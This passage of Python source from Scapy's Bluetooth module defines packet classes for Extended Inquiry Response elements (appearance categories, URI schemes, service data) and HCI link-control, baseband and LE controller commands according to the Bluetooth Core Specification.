EIR_PeripheralConnectionIntervalRange(EIR_Element):\n    name = 'Peripheral Connection Interval Range'\n    fields_desc = [\n        LEShortField('conn_interval_min', 0xFFFF),\n        LEShortField('conn_interval_max', 0xFFFF)\n    ]\n\n\nclass EIR_Manufacturer_Specific_Data(EIR_Element):\n    name = \"EIR Manufacturer Specific Data\"\n    deprecated_fields = {\n        \"company_id\": (\"company_identifier\", \"2.6.2\"),\n    }\n    fields_desc = [\n        # https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers\n        LEShortEnumField(\"company_identifier\", None,\n                         BLUETOOTH_CORE_COMPANY_IDENTIFIERS),\n    ]\n\n    registered_magic_payloads = {}\n\n    @classmethod\n    def register_magic_payload(cls, payload_cls, magic_check=None):\n        \"\"\"\n        Registers a payload type that uses magic data.\n\n        Traditional payloads require registration of a Bluetooth Company ID\n        (requires company membership of the Bluetooth SIG), or a Bluetooth\n        Short UUID (requires a once-off payment).\n\n        There are alternatives which don't require registration (such as\n        128-bit UUIDs), but the biggest consumer of energy in a beacon is the\n        radio -- so the energy consumption of a beacon is proportional to the\n        number of bytes in a beacon frame.\n\n        Some beacon formats side-step this issue by using the Company ID of\n        their beacon hardware manufacturer, and adding a \"magic data sequence\"\n        at the start of the Manufacturer Specific Data field.\n\n        Examples of this are AltBeacon and GeoBeacon.\n\n        For an example of this method in use, see ``scapy.contrib.altbeacon``.\n\n        :param Type[scapy.packet.Packet] payload_cls:\n            A reference to a Packet subclass to register as a payload.\n        :param Callable[[bytes], bool] magic_check:\n            (optional) callable to use to if a payload should be associated\n            with this type. If not supplied, ``payload_cls.magic_check`` is\n            used instead.\n        :raises TypeError: If ``magic_check`` is not specified,\n                           and ``payload_cls.magic_check`` is not implemented.\n        \"\"\"\n        if magic_check is None:\n            if hasattr(payload_cls, \"magic_check\"):\n                magic_check = payload_cls.magic_check\n            else:\n                raise TypeError(\"magic_check not specified, and {} has no \"\n                                \"attribute magic_check\".format(payload_cls))\n\n        cls.registered_magic_payloads[payload_cls] = magic_check\n\n    def default_payload_class(self, payload):\n        for cls, check in (\n            EIR_Manufacturer_Specific_Data.registered_magic_payloads.items()\n        ):\n            if check(payload):\n                return cls\n\n        return Packet.default_payload_class(self, payload)\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        plen = EIR_Element.length_from(self) - 2\n        return s[:plen], s[plen:]\n\n\nclass EIR_Device_ID(EIR_Element):\n    name = \"Device ID\"\n    fields_desc = [\n        XLEShortField(\"vendor_id_source\", 0),\n        XLEShortField(\"vendor_id\", 0),\n        XLEShortField(\"product_id\", 0),\n        XLEShortField(\"version\", 0),\n    ]\n\n\nclass EIR_ServiceSolicitation16BitUUID(EIR_Element):\n    name = \"EIR Service Solicitation - 16-bit UUID\"\n    fields_desc = [\n        XLEShortField(\"svc_uuid\", None)\n    ]\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        plen = EIR_Element.length_from(self) - 2\n        return s[:plen], s[plen:]\n\n\nclass EIR_ServiceSolicitation128BitUUID(EIR_Element):\n    name = \"EIR Service Solicitation - 128-bit UUID\"\n    fields_desc = [\n        UUIDField('svc_uuid', None, uuid_fmt=UUIDField.FORMAT_REV)\n    ]\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        plen = EIR_Element.length_from(self) - 2\n        return s[:plen], s[plen:]\n\n\nclass EIR_ServiceData16BitUUID(EIR_Element):\n    name = \"EIR Service Data - 16-bit UUID\"\n    fields_desc = [\n        # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members\n        XLEShortField(\"svc_uuid\", None),\n    ]\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        plen = EIR_Element.length_from(self) - 2\n        return s[:plen], s[plen:]\n\n\nclass EIR_PublicTargetAddress(EIR_Element):\n    name = \"Public Target Address\"\n    fields_desc = [\n        LEMACField('bd_addr', None)\n    ]\n\n\nclass EIR_AdvertisingInterval(EIR_Element):\n    name = \"Advertising Interval\"\n    fields_desc = [\n        MultipleTypeField(\n            [\n                (ByteField(\"advertising_interval\", 0),\n                 lambda p: p.underlayer.len - 1 == 1),\n                (LEShortField(\"advertising_interval\", 0),\n                 lambda p: p.underlayer.len - 1 == 2),\n                (LEThreeBytesField(\"advertising_interval\", 0),\n                 lambda p: p.underlayer.len - 1 == 3),\n                (LEIntField(\"advertising_interval\", 0),\n                 lambda p: p.underlayer.len - 1 == 4),\n            ],\n            LEShortField(\"advertising_interval\", 0)\n        )\n    ]\n\n\nclass EIR_LEBluetoothDeviceAddress(EIR_Element):\n    name = \"LE Bluetooth Device Address\"\n    fields_desc = [\n        XBitField('reserved', 0, 7, tot_size=-1),\n        BitEnumField('addr_type', 0, 1, end_tot_size=-1, enum={\n            0x0: 'Public',\n            0x1: 'Random'\n        }),\n        LEMACField('bd_addr', None)\n    ]\n\n\nclass EIR_Appearance(EIR_Element):\n    name = \"EIR_Appearance\"\n    fields_desc = [\n        BitEnumField('category', 0, 10, tot_size=-2, enum={\n            0x000: 'Unknown',\n            0x001: 'Phone',\n            0x002: 'Computer',\n            0x003: 'Watch',\n            0x004: 'Clock',\n            0x005: 'Display',\n            0x006: 'Remote Control',\n            0x007: 'Eyeglasses',\n            0x008: 'Tag',\n            0x009: 'Keyring',\n            0x00A: 'Media Player',\n            0x00B: 'Barcode Scanner',\n            0x00C: 'Thermometer',\n            0x00D: 'Heart Rate Sensor',\n            0x00E: 'Blood Pressure',\n            0x00F: 'Human Interface Device',\n            0x010: 'Glucose Meter',\n            0x011: 'Running Walking Sensor',\n            0x012: 'Cycling',\n            0x013: 'Control Device',\n            0x014: 'Network Device',\n            0x015: 'Sensor',\n            0x016: 'Light Fixtures',\n            0x017: 'Fan',\n            0x018: 'HVAC',\n            0x019: 'Air Conditioning',\n            0x01A: 'Humidifier',\n            0x01B: 'Heating',\n            0x01C: 'Access Control',\n            0x01D: 'Motorized Device',\n            0x01E: 'Power Device',\n            0x01F: 'Light Source',\n            0x020: 'Window Covering',\n            0x021: 'Audio Sink',\n            0x022: 'Audio Source',\n            0x023: 'Motorized Vehicle',\n            0x024: 'Domestic Appliance',\n            0x025: 'Wearable Audio Device',\n            0x026: 'Aircraft',\n            0x027: 'AV Equipment',\n            0x028: 'Display Equipment',\n            0x029: 'Hearing aid',\n            0x02A: 'Gaming',\n            0x02B: 'Signage',\n            0x031: 'Pulse Oximeter',\n            0x032: 'Weight Scale',\n            0x033: 'Personal Mobility Device',\n            0x034: 'Continuous Glucose Monitor',\n            0x035: 'Insulin Pump',\n            0x036: 'Medication Delivery',\n            0x037: 'Spirometer',\n            0x051: 'Outdoor Sports Activity'\n        }),\n        XBitField('subcategory', 0, 6, end_tot_size=-2)\n    ]\n\n    @property\n    def appearance(self):\n        return (self.category << 6) + self.subcategory\n\n\nclass EIR_ServiceData32BitUUID(EIR_Element):\n    name = 'EIR Service Data - 32-bit UUID'\n    fields_desc = [\n        XLEIntField('svc_uuid', 0),\n    ]\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        plen = EIR_Element.length_from(self) - 4\n        return s[:plen], s[plen:]\n\n\nclass EIR_ServiceData128BitUUID(EIR_Element):\n    name = 'EIR Service Data - 128-bit UUID'\n    fields_desc = [\n        UUIDField('svc_uuid', None, uuid_fmt=UUIDField.FORMAT_REV)\n    ]\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        plen = EIR_Element.length_from(self) - 16\n        return s[:plen], s[plen:]\n\n\nclass EIR_URI(EIR_Element):\n    name = 'EIR URI'\n    fields_desc = [\n        ByteEnumField('scheme', 0, {\n            0x01: '',\n            0x02: 'aaa:',\n            0x03: 'aaas:',\n            0x04: 'about:',\n            0x05: 'acap:',\n            0x06: 'acct:',\n            0x07: 'cap:',\n            0x08: 'cid:',\n            0x09: 'coap:',\n            0x0A: 'coaps:',\n            0x0B: 'crid:',\n            0x0C: 'data:',\n            0x0D: 'dav:',\n            0x0E: 'dict:',\n            0x0F: 'dns:',\n            0x10: 'file:',\n            0x11: 'ftp:',\n            0x12: 'geo:',\n            0x13: 'go:',\n            0x14: 'gopher:',\n            0x15: 'h323:',\n            0x16: 'http:',\n            0x17: 'https:',\n            0x18: 'iax:',\n            0x19: 'icap:',\n            0x1A: 'im:',\n            0x1B: 'imap:',\n            0x1C: 'info:',\n            0x1D: 'ipp:',\n            0x1E: 'ipps:',\n            0x1F: 'iris:',\n            0x20: 'iris.beep:',\n            0x21: 'iris.xpc:',\n            0x22: 'iris.xpcs:',\n            0x23: 'iris.lwz:',\n            0x24: 'jabber:',\n            0x25: 'ldap:',\n            0x26: 'mailto:',\n            0x27: 'mid:',\n            0x28: 'msrp:',\n            0x29: 'msrps:',\n            0x2A: 'mtqp:',\n            0x2B: 'mupdate:',\n            0x2C: 'news:',\n            0x2D: 'nfs:',\n            0x2E: 'ni:',\n            0x2F: 'nih:',\n            0x30: 'nntp:',\n            0x31: 'opaquelocktoken:',\n            0x32: 'pop:',\n            0x33: 'pres:',\n            0x34: 'reload:',\n            0x35: 'rtsp:',\n            0x36: 'rtsps:',\n            0x37: 'rtspu:',\n            0x38: 'service:',\n            0x39: 'session:',\n            0x3A: 'shttp:',\n            0x3B: 'sieve:',\n            0x3C: 'sip:',\n            0x3D: 'sips:',\n            0x3E: 'sms:',\n            0x3F: 'snmp:',\n            0x40: 'soap.beep:',\n            0x41: 'soap.beeps:',\n            0x42: 'stun:',\n            0x43: 'stuns:',\n            0x44: 'tag:',\n            0x45: 'tel:',\n            0x46: 'telnet:',\n            0x47: 'tftp:',\n            0x48: 'thismessage:',\n            0x49: 'tn3270:',\n            0x4A: 'tip:',\n            0x4B: 'turn:',\n            0x4C: 'turns:',\n            0x4D: 'tv:',\n            0x4E: 'urn:',\n            0x4F: 'vemmi:',\n            0x50: 'ws:',\n            0x51: 'wss:',\n            0x52: 'xcon:',\n            0x53: 'xconuserid:',\n            0x54: 'xmlrpc.beep:',\n            0x55: 'xmlrpc.beeps:',\n            0x56: 'xmpp:',\n            0x57: 'z39.50r:',\n            0x58: 'z39.50s:',\n            0x59: 'acr:',\n            0x5A: 'adiumxtra:',\n            0x5B: 'afp:',\n            0x5C: 'afs:',\n            0x5D: 'aim:',\n            0x5E: 'apt:',\n            0x5F: 'attachment:',\n            0x60: 'aw:',\n            0x61: 'barion:',\n            0x62: 'beshare:',\n            0x63: 'bitcoin:',\n            0x64: 'bolo:',\n            0x65: 'callto:',\n            0x66: 'chrome:',\n            0x67: 'chromeextension:',\n            0x68: 'comeventbriteattendee:',\n            0x69: 'content:',\n            0x6A: 'cvs:',\n            0x6B: 'dlnaplaysingle:',\n            0x6C: 'dlnaplaycontainer:',\n            0x6D: 'dtn:',\n            0x6E: 'dvb:',\n            0x6F: 'ed2k:',\n            0x70: 'facetime:',\n            0x71: 'feed:',\n            0x72: 'feedready:',\n            0x73: 'finger:',\n            0x74: 'fish:',\n            0x75: 'gg:',\n            0x76: 'git:',\n            0x77: 'gizmoproject:',\n            0x78: 'gtalk:',\n            0x79: 'ham:',\n            0x7A: 'hcp:',\n            0x7B: 'icon:',\n            0x7C: 'ipn:',\n            0x7D: 'irc:',\n            0x7E: 'irc6:',\n            0x7F: 'ircs:',\n            0x80: 'itms:',\n            0x81: 'jar:',\n            0x82: 'jms:',\n            0x83: 'keyparc:',\n            0x84: 'lastfm:',\n            0x85: 'ldaps:',\n            0x86: 'magnet:',\n            0x87: 'maps:',\n            0x88: 'market:',\n            0x89: 'message:',\n            0x8A: 'mms:',\n            0x8B: 'mshelp:',\n            0x8C: 'mssettingspower:',\n            0x8D: 'msnim:',\n            0x8E: 'mumble:',\n            0x8F: 'mvn:',\n            0x90: 'notes:',\n            0x91: 'oid:',\n            0x92: 'palm:',\n            0x93: 'paparazzi:',\n            0x94: 'pkcs11:',\n            0x95: 'platform:',\n            0x96: 'proxy:',\n            0x97: 'psyc:',\n            0x98: 'query:',\n            0x99: 'res:',\n            0x9A: 'resource:',\n            0x9B: 'rmi:',\n            0x9C: 'rsync:',\n            0x9D: 'rtmfp:',\n            0x9E: 'rtmp:',\n            0x9F: 'secondlife:',\n            0xA0: 'sftp:',\n            0xA1: 'sgn:',\n            0xA2: 'skype:',\n            0xA3: 'smb:',\n            0xA4: 'smtp:',\n            0xA5: 'soldat:',\n            0xA6: 'spotify:',\n            0xA7: 'ssh:',\n            0xA8: 'steam:',\n            0xA9: 'submit:',\n            0xAA: 'svn:',\n            0xAB: 'teamspeak:',\n            0xAC: 'teliaeid:',\n            0xAD: 'things:',\n            0xAE: 'udp:',\n            0xAF: 'unreal:',\n            0xB0: 'ut2004:',\n            0xB1: 'ventrilo:',\n            0xB2: 'viewsource:',\n            0xB3: 'webcal:',\n            0xB4: 'wtai:',\n            0xB5: 'wyciwyg:',\n            0xB6: 'xfire:',\n            0xB7: 'xri:',\n            0xB8: 'ymsgr:',\n            0xB9: 'example:',\n            0xBA: 'mssettingscloudstorage:'\n        }),\n        StrLenField('uri_hier_part', None, length_from=EIR_Element.length_from)\n    ]\n\n    @property\n    def uri(self):\n        return EIR_URI.scheme.i2s[self.scheme] + self.uri_hier_part.decode('utf-8')\n\n\nclass HCI_Command_Hdr(Packet):\n    name = \"HCI Command header\"\n    fields_desc = [XBitField(\"ogf\", 0, 6, tot_size=-2),\n                   XBitField(\"ocf\", 0, 10, end_tot_size=-2),\n                   LenField(\"len\", None, fmt=\"B\"), ]\n\n    def answers(self, other):\n        return False\n\n    @property\n    def opcode(self):\n        return (self.ogf << 10) + self.ocf\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.len is None:\n            p = p[:2] + struct.pack(\"B\", len(pay)) + p[3:]\n        return p\n\n\n# BUETOOTH CORE SPECIFICATION 5.4 | Vol 3, Part C\n# 8 EXTENDED INQUIRY RESPONSE\n\nclass HCI_Extended_Inquiry_Response(Packet):\n    fields_desc = [\n        PadField(\n            PacketListField(\n                \"eir_data\", [],\n                next_cls_cb=lambda *args: (\n                    (not args[2] or args[2].len != 0) and EIR_Hdr or conf.raw_layer\n                )\n            ),\n            align=31, padwith=b\"\\0\",\n        ),\n    ]\n\n\n# BLUETOOTH CORE SPECIFICATION Version 5.4 | Vol 4, Part E\n# 7 HCI COMMANDS AND EVENTS\n# 7.1 LINK CONTROL COMMANDS, the OGF is defined as 0x01\n\nclass HCI_Cmd_Inquiry(Packet):\n    \"\"\"\n    7.1.1 Inquiry command\n    \"\"\"\n    name = \"HCI_Inquiry\"\n    fields_desc = [XLE3BytesField(\"lap\", 0x9E8B33),\n                   ByteField(\"inquiry_length\", 0),\n                   ByteField(\"num_responses\", 0)]\n\n\nclass HCI_Cmd_Inquiry_Cancel(Packet):\n    \"\"\"\n    7.1.2 Inquiry Cancel command\n    \"\"\"\n    name = \"HCI_Inquiry_Cancel\"\n\n\nclass HCI_Cmd_Periodic_Inquiry_Mode(Packet):\n    \"\"\"\n    7.1.3 Periodic Inquiry Mode command\n    \"\"\"\n    name = \"HCI_Periodic_Inquiry_Mode\"\n    fields_desc = [LEShortField(\"max_period_length\", 0x0003),\n                   LEShortField(\"min_period_length\", 0x0002),\n                   XLE3BytesField(\"lap\", 0x9E8B33),\n                   ByteField(\"inquiry_length\", 0),\n                   ByteField(\"num_responses\", 0)]\n\n\nclass HCI_Cmd_Exit_Peiodic_Inquiry_Mode(Packet):\n    \"\"\"\n    7.1.4 Exit Periodic Inquiry Mode command\n    \"\"\"\n    name = \"HCI_Exit_Periodic_Inquiry_Mode\"\n\n\nclass HCI_Cmd_Create_Connection(Packet):\n    \"\"\"\n    7.1.5 Create Connection command\n    \"\"\"\n    name = \"HCI_Create_Connection\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   LEShortField(\"packet_type\", 0xcc18),\n                   ByteField(\"page_scan_repetition_mode\", 0x02),\n                   ByteField(\"reserved\", 0x0),\n                   LEShortField(\"clock_offset\", 0x0),\n                   ByteField(\"allow_role_switch\", 0x1), ]\n\n\nclass HCI_Cmd_Disconnect(Packet):\n    \"\"\"\n    7.1.6 Disconnect command\n    \"\"\"\n    name = \"HCI_Disconnect\"\n    fields_desc = [XLEShortField(\"handle\", 0),\n                   ByteField(\"reason\", 0x13), ]\n\n\nclass HCI_Cmd_Create_Connection_Cancel(Packet):\n    \"\"\"\n    7.1.7 Create Connection Cancel command\n    \"\"\"\n    name = \"HCI_Create_Connection_Cancel\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_Accept_Connection_Request(Packet):\n    \"\"\"\n    7.1.8 Accept Connection Request command\n    \"\"\"\n    name = \"HCI_Accept_Connection_Request\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   ByteField(\"role\", 0x1), ]\n\n\nclass HCI_Cmd_Reject_Connection_Response(Packet):\n    \"\"\"\n    7.1.9 Reject Connection Request command\n    \"\"\"\n    name = \"HCI_Reject_Connection_Response\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   ByteField(\"reason\", 0x1), ]\n\n\nclass HCI_Cmd_Link_Key_Request_Reply(Packet):\n    \"\"\"\n    7.1.10 Link Key Request Reply command\n    \"\"\"\n    name = \"HCI_Link_Key_Request_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   NBytesField(\"link_key\", None, 16), ]\n\n\nclass HCI_Cmd_Link_Key_Request_Negative_Reply(Packet):\n    \"\"\"\n    7.1.11 Link Key Request Negative Reply command\n    \"\"\"\n    name = \"HCI_Link_Key_Request_Negative_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_PIN_Code_Request_Reply(Packet):\n    \"\"\"\n    7.1.12 PIN Code Request Reply command\n    \"\"\"\n    name = \"HCI_PIN_Code_Request_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   ByteField(\"pin_code_length\", 7),\n                   NBytesField(\"pin_code\", b\"\\x00\" * 16, sz=16), ]\n\n\nclass HCI_Cmd_PIN_Code_Request_Negative_Reply(Packet):\n    \"\"\"\n    7.1.13 PIN Code Request Negative Reply command\n    \"\"\"\n    name = \"HCI_PIN_Code_Request_Negative_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_Change_Connection_Packet_Type(Packet):\n    \"\"\"\n    7.1.14 Change Connection Packet Type command\n    \"\"\"\n    name = \"HCI_Cmd_Change_Connection_Packet_Type\"\n    fields_desc = [XLEShortField(\"connection_handle\", None),\n                   LEShortField(\"packet_type\", 0), ]\n\n\nclass HCI_Cmd_Authentication_Requested(Packet):\n    \"\"\"\n    7.1.15 Authentication Requested command\n    \"\"\"\n    name = \"HCI_Authentication_Requested\"\n    fields_desc = [LEShortField(\"handle\", 0)]\n\n\nclass HCI_Cmd_Set_Connection_Encryption(Packet):\n    \"\"\"\n    7.1.16 Set Connection Encryption command\n    \"\"\"\n    name = \"HCI_Set_Connection_Encryption\"\n    fields_desc = [LEShortField(\"handle\", 0), ByteField(\"encryption_enable\", 0)]\n\n\nclass HCI_Cmd_Change_Connection_Link_Key(Packet):\n    \"\"\"\n    7.1.17 Change Connection Link Key command\n    \"\"\"\n    name = \"HCI_Change_Connection_Link_Key\"\n    fields_desc = [LEShortField(\"handle\", 0), ]\n\n\nclass HCI_Cmd_Link_Key_Selection(Packet):\n    \"\"\"\n    7.1.18 Change Connection Link Key command\n    \"\"\"\n    name = \"HCI_Cmd_Link_Key_Selection\"\n    fields_desc = [ByteEnumField(\"handle\", 0, {0: \"Use semi-permanent Link Keys\",\n                                               1: \"Use Temporary Link Key\", }), ]\n\n\nclass HCI_Cmd_Remote_Name_Request(Packet):\n    \"\"\"\n    7.1.19 Remote Name Request command\n    \"\"\"\n    name = \"HCI_Remote_Name_Request\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   ByteField(\"page_scan_repetition_mode\", 0x02),\n                   ByteField(\"reserved\", 0x0),\n                   LEShortField(\"clock_offset\", 0x0), ]\n\n\nclass HCI_Cmd_Remote_Name_Request_Cancel(Packet):\n    \"\"\"\n    7.1.20 Remote Name Request Cancel command\n    \"\"\"\n    name = \"HCI_Remote_Name_Request_Cancel\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_Read_Remote_Supported_Features(Packet):\n    \"\"\"\n    7.1.21 Read Remote Supported Features command\n    \"\"\"\n    name = \"HCI_Read_Remote_Supported_Features\"\n    fields_desc = [LEShortField(\"connection_handle\", None), ]\n\n\nclass HCI_Cmd_Read_Remote_Extended_Features(Packet):\n    \"\"\"\n    7.1.22 Read Remote Extended Features command\n    \"\"\"\n    name = \"HCI_Read_Remote_Supported_Features\"\n    fields_desc = [LEShortField(\"connection_handle\", None),\n                   ByteField(\"page_number\", None), ]\n\n\nclass HCI_Cmd_IO_Capability_Request_Reply(Packet):\n    \"\"\"\n    7.1.29 IO Capability Request Reply command\n    \"\"\"\n    name = \"HCI_Read_Remote_Supported_Features\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   ByteEnumField(\"io_capability\", None, {0x00: \"DisplayOnly\",\n                                                         0x01: \"DisplayYesNo\",\n                                                         0x02: \"KeyboardOnly\",\n                                                         0x03: \"NoInputNoOutput\", }),\n                   ByteEnumField(\"oob_data_present\", None, {0x00: \"Not Present\",\n                                                            0x01: \"P-192\",\n                                                            0x02: \"P-256\",\n                                                            0x03: \"P-192 + P-256\", }),\n                   ByteEnumField(\"authentication_requirement\", None,\n                                 {0x00: \"MITM Not Required\",\n                                  0x01: \"MITM Required, No Bonding\",\n                                  0x02: \"MITM Not Required + Dedicated Pairing\",\n                                  0x03: \"MITM Required + Dedicated Pairing\",\n                                  0x04: \"MITM Not Required, General Bonding\",\n                                  0x05: \"MITM Required + General Bonding\"}), ]\n\n\nclass HCI_Cmd_User_Confirmation_Request_Reply(Packet):\n    \"\"\"\n    7.1.30 User Confirmation Request Reply command\n    \"\"\"\n    name = \"HCI_User_Confirmation_Request_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_User_Confirmation_Request_Negative_Reply(Packet):\n    \"\"\"\n    7.1.31 User Confirmation Request Negative Reply command\n    \"\"\"\n    name = \"HCI_User_Confirmation_Request_Negative_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_User_Passkey_Request_Reply(Packet):\n    \"\"\"\n    7.1.32 User Passkey Request Reply command\n    \"\"\"\n    name = \"HCI_User_Passkey_Request_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   LEIntField(\"numeric_value\", None), ]\n\n\nclass HCI_Cmd_User_Passkey_Request_Negative_Reply(Packet):\n    \"\"\"\n    7.1.33 User Passkey Request Negative Reply command\n    \"\"\"\n    name = \"HCI_User_Passkey_Request_Negative_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\nclass HCI_Cmd_Remote_OOB_Data_Request_Reply(Packet):\n    \"\"\"\n    7.1.34 Remote OOB Data Request Reply command\n    \"\"\"\n    name = \"HCI_Remote_OOB_Data_Request_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None),\n                   NBytesField(\"C\", b\"\\x00\" * 16, sz=16),\n                   NBytesField(\"R\", b\"\\x00\" * 16, sz=16), ]\n\n\nclass HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply(Packet):\n    \"\"\"\n    7.1.35 Remote OOB Data Request Negative Reply command\n    \"\"\"\n    name = \"HCI_Remote_OOB_Data_Request_Negative_Reply\"\n    fields_desc = [LEMACField(\"bd_addr\", None), ]\n\n\n# 7.2 Link Policy commands, the OGF is defined as 0x02\n\nclass HCI_Cmd_Hold_Mode(Packet):\n    name = \"HCI_Hold_Mode\"\n    fields_desc = [LEShortField(\"connection_handle\", 0),\n                   LEShortField(\"hold_mode_max_interval\", 0x0002),\n                   LEShortField(\"hold_mode_min_interval\", 0x0002), ]\n\n\n# 7.3 CONTROLLER & BASEBAND COMMANDS, the OGF is defined as 0x03\n\nclass HCI_Cmd_Set_Event_Mask(Packet):\n    \"\"\"\n    7.3.1 Set Event Mask command\n    \"\"\"\n    name = \"HCI_Set_Event_Mask\"\n    fields_desc = [StrFixedLenField(\"mask\", b\"\\xff\\xff\\xfb\\xff\\x07\\xf8\\xbf\\x3d\", 8)]  # noqa: E501\n\n\nclass HCI_Cmd_Reset(Packet):\n    \"\"\"\n    7.3.2 Reset command\n    \"\"\"\n    name = \"HCI_Reset\"\n\n\nclass HCI_Cmd_Set_Event_Filter(Packet):\n    \"\"\"\n    7.3.3 Set Event Filter command\n    \"\"\"\n    name = \"HCI_Set_Event_Filter\"\n    fields_desc = [ByteEnumField(\"type\", 0, {0: \"clear\"}), ]\n\n\nclass HCI_Cmd_Write_Local_Name(Packet):\n    \"\"\"\n    7.3.11 Write Local Name command\n    \"\"\"\n    name = \"HCI_Write_Local_Name\"\n    fields_desc = [StrFixedLenField('name', '', length=248)]\n\n\nclass HCI_Cmd_Read_Local_Name(Packet):\n    \"\"\"\n    7.3.12 Read Local Name command\n    \"\"\"\n    name = \"HCI_Read_Local_Name\"\n\n\nclass HCI_Cmd_Write_Connect_Accept_Timeout(Packet):\n    name = \"HCI_Write_Connection_Accept_Timeout\"\n    fields_desc = [LEShortField(\"timeout\", 32000)]  # 32000 slots is 20000 msec\n\n\nclass HCI_Cmd_Write_Extended_Inquiry_Response(Packet):\n    name = \"HCI_Write_Extended_Inquiry_Response\"\n    fields_desc = [ByteField(\"fec_required\", 0),\n                   HCI_Extended_Inquiry_Response]\n\n\nclass HCI_Cmd_Read_LE_Host_Support(Packet):\n    name = \"HCI_Read_LE_Host_Support\"\n\n\nclass HCI_Cmd_Write_LE_Host_Support(Packet):\n    name = \"HCI_Write_LE_Host_Support\"\n    fields_desc = [ByteField(\"supported\", 1),\n                   ByteField(\"unused\", 1), ]\n\n\n# 7.4 INFORMATIONAL PARAMETERS, the OGF is defined as 0x04\n\nclass HCI_Cmd_Read_Local_Version_Information(Packet):\n    \"\"\"\n    7.4.1 Read Local Version Information command\n    \"\"\"\n    name = \"HCI_Read_Local_Version_Information\"\n\n\nclass HCI_Cmd_Read_Local_Extended_Features(Packet):\n    \"\"\"\n    7.4.4 Read Local Extended Features command\n    \"\"\"\n    name = \"HCI_Read_Local_Extended_Features\"\n    fields_desc = [ByteField(\"page_number\", 0)]\n\n\nclass HCI_Cmd_Read_BD_Addr(Packet):\n    \"\"\"\n    7.4.6 Read BD_ADDR command\n    \"\"\"\n    name = \"HCI_Read_BD_ADDR\"\n\n\n# 7.5 STATUS PARAMETERS, the OGF is defined as 0x05\n\nclass HCI_Cmd_Read_Link_Quality(Packet):\n    name = \"HCI_Read_Link_Quality\"\n    fields_desc = [LEShortField(\"handle\", 0)]\n\n\nclass HCI_Cmd_Read_RSSI(Packet):\n    name = \"HCI_Read_RSSI\"\n    fields_desc = [LEShortField(\"handle\", 0)]\n\n\n# 7.6 TESTING COMMANDS, the OGF is defined as 0x06\n\nclass HCI_Cmd_Read_Loopback_Mode(Packet):\n    name = \"HCI_Read_Loopback_Mode\"\n\n\nclass HCI_Cmd_Write_Loopback_Mode(Packet):\n    name = \"HCI_Write_Loopback_Mode\"\n    fields_desc = [ByteEnumField(\"loopback_mode\", 0,\n                                 {0: \"no loopback\",\n                                  1: \"enable local loopback\",\n                                  2: \"enable remote loopback\"})]\n\n\n# 7.8 LE CONTROLLER COMMANDS, the OGF code is defined as 0x08\n\nclass HCI_Cmd_LE_Read_Buffer_Size_V1(Packet):\n    name = \"HCI_LE_Read_Buffer_Size [v1]\"\n\n\nclass HCI_Cmd_LE_Read_Buffer_Size_V2(Packet):\n    name = \"HCI_LE_Read_Buffer_Size [v2]\"\n\n\nclass HCI_Cmd_LE_Read_Local_Supported_Features(Packet):\n    name = \"HCI_LE_Read_Local_Supported_Features\"\n\n\nclass HCI_Cmd_LE_Set_Random_Address(Packet):\n    name = \"HCI_LE_Set_Random_Address\"\n    fields_desc = [LEMACField(\"address\", None)]\n\n\nclass HCI_Cmd_LE_Set_Advertising_Parameters(Packet):\n    name = \"HCI_LE_Set_Advertising_Parameters\"\n    fields_desc = [LEShortField(\"interval_min\", 0x0800),\n                   LEShortField(\"interval_max\", 0x0800),\n                   ByteEnumField(\"adv_type\", 0, {0: \"ADV_IND\", 1: \"ADV_DIRECT_IND\", 2: \"ADV_SCAN_IND\", 3: \"ADV_NONCONN_IND\", 4: \"ADV_DIRECT_IND_LOW\"}),  # noqa: E501\n                   ByteEnumField(\"oatype\", 0, {0: \"public\", 1: \"random\"}),\n                   ByteEnumField(\"datype\", 0, {0: \"public\", 1: \"random\"}),\n                   LEMACField(\"daddr\", None),\n                   ByteField(\"channel_map\", 7),\n                   ByteEnumField(\"filter_policy\", 0, {0: \"all:all\", 1: \"connect:all scan:whitelist\", 2: \"connect:whitelist scan:all\", 3: \"all:whitelist\"}), ]  # noqa: E501\n\n\nclass HCI_Cmd_LE_Set_Advertising_Data(Packet):\n    name = \"HCI_LE_Set_Advertising_Data\"\n    fields_desc = [FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\"),\n                   PadField(\n                       PacketListField(\"data\", [], EIR_Hdr,\n                                       length_from=lambda pkt: pkt.len),\n                       align=31, padwith=b\"\\0\"), ]\n\n\nclass HCI_Cmd_LE_Set_Scan_Response_Data(Packet):\n    name = \"HCI_LE_Set_Scan_Response_Data\"\n    fields_desc = [FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\"),\n                   StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len), 